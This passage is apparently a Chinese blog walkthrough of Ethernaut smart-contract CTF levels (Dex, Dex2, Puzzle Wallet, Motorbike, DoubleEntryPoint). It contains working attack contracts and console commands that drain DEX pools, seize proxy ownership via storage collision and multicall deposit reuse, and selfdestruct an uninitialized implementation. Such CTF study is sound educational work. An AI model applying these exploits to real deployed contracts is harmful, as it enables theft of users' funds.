    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }
  • 1
  • 2
  • 3

这里发现有一个问题,我们暂且按下不表。
那我们需要做什么呢?就是利用这里面不对称的汇率,实现套利,挖空交易合约里的通证(一种即可)。

由于在swap里已经限定只能围绕token1token2展开交易。所以我们只能从汇率入手了。那这就回到我们一开始发现的问题,对于单次交易来说,汇率是恒定的!对一般的去中心化交易所来说,都会有滑点(Slippage)的概念,即随着交易额的增长,理论汇率和实际汇率之间的差值会越来越大! 而很明显,本关卡合约没有滑点的概念,这就使得我们能获取到的兑换额度要比实际值大的多。多兑换几次,我们就能很快掏空交易池。

合约交互

我们先看看交易池内token1token2和我们账户通证的数量。

查看当前交易池和用户余额

如果我们要将手头的10个token1兑换为token2,首先我们通过await contract.approve(contract.address,10)完成授权。
授权
随后我们通过await contract.swap(token1,token2,10)将10个token1兑换为token2。根据初始汇率1:1我们可以获取到10个token2。此时我们有了0个token1、20个token2,但交易所现在有110个token1、90个token2,如果我们将10个token2兑换回去,我们可以获得不止10个token1!这就是套利!

兑换成功

通过下表展示套利过程,其中由于精度有限所以汇率往往只能精确到小数点后1位。最后一次我们根据汇率不完全兑换,只兑换46个(110/2.4=45.83),结果失败(因为交易池没有那么多)。后来发现,直接兑换45个即可。

交易池token1交易池token2汇率1-2汇率2-1用户token1用户token2兑换币种兑换后用户token1兑换后用户token1
100100111010token1020
110900.8181.222020token2240
861101.280.782240token1030
110800.7271.375030token2410
691101.6940.627410token1065
110450.4092.44065token211020

此时,交易池的token1已经被掏空!提交关卡,本关卡成功!
关卡成功!

总结

涉及到Dex这种Defi项目,智能合约的编写一定要慎之又慎。


23 Dex2

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA。本关卡仍是DEX(Decentralized Exchange,去中心化交易所)的简易版本。

乍一看,这题跟上个没啥区别阿。但仔细一看似乎缺了点什么?

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

里面不再对币种的地址作校验了,那我们能否部署自己的通证合约,并通过相关方法提供流动性,并最终掏空池子呢?

编写攻击合约

我们参考目标合约中的SwappableToken合约,编写攻击合约如下:

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenAttack is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

部署合约,其合约地址为0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
部署合约

合约交互

我们首先实现approve授权许可,给目标合约8个攻击通证的授权。
approve许可
随后,我们通过await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)将攻击通证加入DEX。结果失败,原来我们不是合约的owner
添加流动性失败
这影响吗?不影响,我们可以在攻击合约中手动转账。
手动转账
此时,获取一下攻击通证转换token1的汇率呗~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1),结果发现我们可以全部掏空token1!

在这里插入图片描述
那就发起把,先后输入await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)以实现将交易池掏空!成功!(对token2使用2个攻击通证是因为我们此时汇率已经下降到1:50了)

成功掏空
提交关卡,本关卡成功!
本关卡成功

总结

智能合约真是处处漏洞阿,有时间一定要研究一下UniSwap!


24 Puzzle Wallet

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9。这个时候我们还不知道这个合约实例到底是什么。而我们的目的是要成为proxy的所有者。

初看关卡里的合约,可能会很困惑,这里面又是proxy又是wallet,这到底时是要干什么呢?在深入分析本关卡的合约之前,我们需要了解一下什么叫代理模式,否则我们无法明白其中的门门道道。

学过设计模式的同学其实都知道什么是代理模式:为其他对象提供一种代理以控制对某个对象的访问。也就是说,每次我要访问A,其实我是通过调用B的接口,而B中存有A的对象实例,并对外暴露与A相同的接口,这时候,当我们调用B时,我们仍以为自己在访问A,并对其中代理部分浑然不觉。

那么,代理模式的优点又在哪里呢?如果业务有更新,完全可以实现热部署,代理实例通过切换对象实例,此时使用者不会感觉到服务有中断或者发生了变化。

而在智能合约中,要使用代理模式,思路也是一样的,就是为了解决合约一旦上链无法更新的问题。当我们需要更新合约时,只要将代理合约中的合约实例指向新创建的合约即可。此时,对和代理合约交互的用户来说,并没有感到服务产生了变化。现在很多链游就是基于以上原理,可以不断的更新合约、更新游戏。而转发具体是怎么实现的呢?其实就是利用fallback函数,当用户访问不存在的函数时,会进入fallback,代理合约在此处即可完成转发。

回到正题,我们现在获得的0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9究竟是什么?是PuzzleProxy还是PuzzleWallet呢?我们从三个角度来看一看。


  • 合约创建角度

    我们截图看看我们创建实例时的内部调用。

创建实例时的内部调用
可以看出,用户地址调用Ethernaut合约地址,后者调用关卡合约,由关卡合约分别创建0xd04cb22addf0bc25858935688482ad328c839e970xd1b77be5ecd09964e521b36a35804c46bb5a9ed9,而0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9被创建后,又通过delegatecall调用了0xd04cb22addf0bc25858935688482ad328c839e97。这似乎就很明朗了,0xd04cb22addf0bc25858935688482ad328c839e97应该是Puzzle Wallet0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9则是代理合约。想想的确也是这样,代理合约在初始化时肯定也需要指定实例合约。

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }
  • 1
  • 2
  • 3
  • 合约创建源码

    我们可以在Ethernaut的github项目中找到工厂合约

  function createInstance(address /*_player*/) override public payable returns (address) {
    require(msg.value ==  0.001 ether, "Must send 0.001 ETH to create instance");

    // deploy the PuzzleWallet logic
    PuzzleWallet walletLogic = new PuzzleWallet();

    // deploy proxy and initialize implementation contract
    bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);
    PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);
    PuzzleWallet instance = PuzzleWallet(address(proxy));

    // whitelist this contract to allow it to deposit ETH
    instance.addToWhitelist(address(this));
    instance.deposit{ value: msg.value }();

    return address(proxy);
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

很明显,是先创建PuzzleWallet,然后创建PuzzleProxy并最后返回proxy地址。

  • 逻辑推理

很明显,对外暴露的应该是代理合约,实际合约应当藏在代理合约的后面。


那可能又有疑惑了,我这里contract.abi获得的结果为什么又是PuzzleWallet的abi呢?其实没问题,本来暴露的就应该是实际合约的接口咯。

那这么一看的话,我们的切入点又在哪里呢?

其实代理合约通过delegatecall调用实例合约,这里面有一个我们先前提过的问题,就是需要两个合约之间的存储槽不能产生冲突,否则会导致数据被随意修改。那我们就来看看,其实本关卡是存在存储冲突这一问题的。

先看PuzzleProxy,其定义变量如下,而UpgradeableProxy并没有定义变量。

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;
}
  • 1
  • 2
  • 3
  • 4

因此,其slot存储如下:

-----------------------------------------------------
| unused (12bytes)      |  pendingAdmin (address 20bytes) |< - slot 0
-----------------------------------------------------
| unused (12bytes)      |  admin (address 20bytes) |< - slot 1
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5

PuzzleWallet中变量存储如下:

-----------------------------------------------------
| unused (12bytes)      |  owner(address 20bytes) |< - slot 0
-----------------------------------------------------
| maxBalance  |< - slot 1
-----------------------------------------------------
| whitelised(占位)  |< - slot 2
-----------------------------------------------------
| balances(占位)  |< - slot 3
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

所以很明显,产生了存储冲突,proxy中的pendingAdminadmin实际上对应在puzzleWallet中应该是ownermaxBalance。所以如果我们想修改admin其实可以从maxBalance入手,或者通过pendingAdmin等看一看。

合约交互

想要通过setMaxBalance修改maxBalance有一个先决条件,那就是onlyWhitelisted,即用户需要在白名单中。而要添加到白名单,需要调用addToWhitelist方法,这又需要require(msg.sender == owner, "Not the owner");,所以我们可以先通过修改pendingAdmin修改owner,然后在逐一完成。

我们先生成selector将其和param合并生成交易中的data,以此可以发起对proposeNewAdmin(address)方法的调用。在修改过后此时合约的owner已修改为'0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'
通过pendingAdmin修改owner
通过await contract.addToWhitelist(player)将用户添加到白名单中,此时再用await contract.whitelisted(player)进行检查。

添加白名单
然后,如果要设置setMaxBalance需要满足条件require(address(this).balance == 0, "Contract balance is not 0");即合约本身余额不能为0,而我们通过await getBalance(contract.address)可以查询到合约还有余额0.001以太。我们应当办法将其移除。

不满足条件

此时我们可以查看到槽的存储情况如下,slot 0已变成了用户地址,而slot 1却是关卡合约的地址。

目前存储情况
这是什么原因呢?这是因为,在初始化代理合约时,admin变量已经确定,所以当后续调用init时,由于存储冲突,所以maxBalance不为0,所以该方法其实调用就失败了,原始值也就没有更改。

我们想到multicall里面有这么一个限制:

            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
  • 1
  • 2
  • 3
  • 4
  • 5

这是什么意思呢? 那就是只能存一次,如果在multicall里调用两次deposite函数,我们也不应当重复计算所存的数量。这里只是简单的对data的选择器作了单层校验,我们如果将其封装,似乎是可以绕过的。

我们需要找到调用时发送的数据。其中selector的数据为:

deposit
组装成multicall时,其数据为:

multicall
再将其封装,dataselector一起传入,调用multicall,同时附上0.001Ether,此时由于没有两个deposit同时调用,就可以绕过。相当于msg.value被重复计算了两次。
发起multicall
此时,可以看出用户在合约中的份额实际变为0.002Ether。

余额改变

通过await contract.execute(player,web3.utils.toWei('0.002'),0x0)取出所有的Ether,此时合约balance为0。此时,由于满足了我们先前所说的条件,在此之后我们就可以通过setMaxBalance去设置maxBalance从而改变admin了。

execute
通过await contract.setMaxBalance('0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')改变maxBalance,此时可以发现,slot 1 中的值也随之发生改变,对应的admin也发生了改变。

成功修改
提交实例,本关卡成功!

关卡成功!

总结

代理合约虽好,但其中的坑可不少,一定要仔细设计,用心斟酌。


25 Motorbike

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x620Edcd5C5B957E35c9e4E1BB3e8612DD62B9c48。本关卡的要求是通过自毁Engine从而使得Motorbike合约失效。

我们先来看看这题究竟想要干什么:吸取了上一题的教训,这题很明显也注意到存储slot冲突的问题了,代理合约Motorbike不再定义变量去存储,而是定义了被代理合约Engine地址存储的槽编号

    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
  • 1

其所有的业务操作都是通过fallback()函数调用_delegate()实现的。

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

每当有新的请求进来,则会先从存储中获取slot结构体,并在_delegate中进行Engine方法的调用。

接下来我们看看Engine合约,合约定义了一系列函数,其中还包括upgradeToAndCall等函数。除了业务逻辑之外,Motorbike合约的升级也是由Engine实现,所作的其实是修改对应槽的位置并初步调用新的函数(一般来说是初始化函数)。

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

现在我们就要思考攻击的入口了。如果我们仍是以motorbike为对象展开攻击,仍是以delegatecall方式,那么即使自毁,销毁的也将是motorbike合约。所以我们应该是以engine为入口。考虑到engine本身并没有自毁,且其也有升级方法,所以我们可以将engine作为代理合约,自己新建业务合约,最终完成攻击。

攻击合约编写

我们先编写攻击合约,其实很简单,就是带有自毁函数的合约。部署后,其合约地址为0x3A69C8B5c1CB0Fb85485EfB3577E9d8f1131CB82

pragma solidity ^0.6.0;

contract Attacker {

    constructor() public {

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

合约交互

如果我们想要发起攻击,就应当找到Engine合约究竟是什么?通过Motorbike可知,其地址作为值存储在slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc中。所以我们通过await web3.eth.getStorageAt(contract.address,'0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')获取Engine合约地址为0x917e11b988a0aa6184ab8e129fb8bf61cb14cc70

获取地址
此时,我们看一看Engine的存储状态,其实都是为空,其原因是Engine只作为函数的提供者,具体变量状态的存储则是通过Motorbike执行。此时Engine本身就是未经初始过的新合约!考虑到在修改业务合约时,需要保证player的角色为upgrader,所以我们将通过initialize完成初始化。

查询Engine存储
我们通过await web3.eth.sendTransaction({from:player,to:engine,data:selector})生成新的交易,此时Engine合约已完成初始化,显示initialized1(true)initializing0(false),而upgrader也变为了player,对应的horsepower也完成了修改。

完成先决条件
此时,player的角色已经修改为了upgrader,所以我们可以调用upgradeToAndCall完成业务合约的修改。

首先我们要构建调用合约时的data,一般有几种方法。

  • 第一种是selector + param,分别算出函数选择器和参数并组合。(函数选择器也可以通过encodeFunctionSignature完成)
    1
  • 第二种则是web3.eth.abi.encodeFunctionCall()
    2
    我们已经得到了destuctdata数据,我们现在要将其作为bytes注入到upgradeToAndCall中去,见下图:

最终data
我们通过await web3.eth.sendTransaction({from:player,to:engine,data:data2})进行自毁,成功后Engine函数已经完成自毁,存储消失,链上也显示了自毁成功!

自毁成功1
自毁成功2
提交实例,本关卡成功!
关卡成功

总结

这题其实比较简单,需要注意的其实是怎样找到切入点并构造正确的data。


26 DoubleEntryPoint

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xb938Cc3cC6c3b97c41628AdEc6d409eEFeb4a824。本关卡的要求是找到合约的漏洞,并通过forta模式进行补救,防止合约通证被清空。

纵观合约,总共有这么几个合约:FortaCryptoVaultLegacyTokenDoubleEntryPoint,此外还有几个接口,分别是DelegateERC20IDetectionBot

我们将分开看看各个合约和接口都分别扮演了怎样的角色:

  • DelegateERC20 : 该接口应当实现delegateTransfer方法,专门作为被委托通证合约。

  • IDetectionBot : 该接口应当实现handleTransaction方法,针对传入的usermsgData变量进行校验,并判断交易是否成行。

  • IForta : 该接口应当实现setDetectionBotnotify以及raiseAlert方法,能否辅助通证合约判断当前交易是否有效。

  • Forta : 该类实现IForta接口,可以看到其模式:

    • SetDetectionBot用来设置传入的地址为对应发起地址合约的检测bot。
    function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
    }
    
    • 1
    • 2
    • 3
    • 4
    • notify负责提醒detectionBot对交易进行校验。
    function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • raiseAlert负责接受detectionBot传来的警报。
  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
  • 1
  • 2
  • 3
  • 4
  • CryptoVault(密码金库,笑) : 该合约定义了变量underlying,该变量存储不可被交易的通证。同时该合约又定义了sweepToken,顾名思义,可以取出合约中所存储的通证(除underlying外),个人理解可能是为了保证合约中通证的纯净度。
    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • LegacyToken(停用通证): 该合约是停用的通证合约,在设计之初就写死了transfer功能,即如果没有委托(即尚未停用),即表现正常,如果存在委托(即已经停用,进行了映射之类的),则转而调用委托合约中的delegateTransfer方法。
    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • DoubleEntryPoint (二次进入点?现在理解来看应该是) :该合约(实际上)实现了DelegateERC20的接口,但值得注意的点是其delegateTransfer只接受来自父合约(停用通证)的调用,当然该合约受到了forta的保护,通过fortaNotify这一修饰符实现forta的交易前后校验。
    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

现在我们就要找找漏洞。根据题目中的提示the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT,也就是说合约既有停用通证,也有委托通证。如果我们在sweepToken时试图除去停用通证,停用通证中的transfer将会调用委托通证的delegateTransfer方法,当两个合约余额相同时,其实也变相完成了侵入。问题就在这里,那么该怎么办呢?

其实我们在delegateTransfer时应当检查,不应当是通过sweepToken透过LegacyToken完成,这就是我们的思路。

攻击合约编写

看一下 function handleTransaction(address user, bytes calldata msgData) external; 可知传入的msgData是破题的关键。msgData按照 forta.notify(player, msg.data);来说应当是selector, to, value, origSender。而这里的origSender又是什么呢?其实是LegacyToken被调用时的msg.sender,后者在漏洞中就是cryptoVault,否则将是其他正常地址,我们可以通过这里进行判断,就是看origSender是否为cryptoVault的地址。


pragma solidity ^0.6.0;

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Attacker {

    IForta iforta_ins;
    address cryptoVault;

    constructor(address _addr, address _addr2) public {
        iforta_ins = IForta(_addr);
        cryptoVault = _addr2;
    }

    function handleTransaction(address user, bytes calldata msgData) external {
        address addr;
        uint256 value;
        address origSender;
        (addr,value,origSender) = abi.decode(msgData[4:],(address, uint256, address));
        if (origSender == cryptoVault){
            iforta_ins.raiseAlert(user);
        }
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

我们通过abi.decode获取到参数,从4开始是为了截取函数选择器,拆分出addr(to)valueorigSender,如果相等,则需要发出警报。(此处比较简单,是因为我觉得detectionBot其实在本处应用就一个入口,就是当delegateTransfer时唤醒操作,而我想sweepToken操作是检测不到的,检测delegateTransfer也没有意义)

合约交互

现在来看,我们得到的contract应该是DoubleEntryPoint,地址为0x85b3686eeEC7092cb36F94566575906ec49767DF,其cryptoVault'0x1C21b79f726eF47d923153A6c54eD18d62Ef2881'forta合约为'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e'

查询状态

部署攻击合约,其地址为0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e

部署攻击合约

手动通过await web3.eth.sendTransaction({from:player,to:'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e',data:data})设置关联检测机器人。
设置关联检测机器人
提交实例!本关卡成功!

关卡成功

总结

这就是观察者模式的变种,你们感觉到了吗?


总结

很幸运,在长达3个月的持续更新里,我学到了太多东西,希望以后也能持续学习,给大家分享我的所见、所得、所感!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/654123
推荐阅读
相关标签
  

闽ICP备14008679号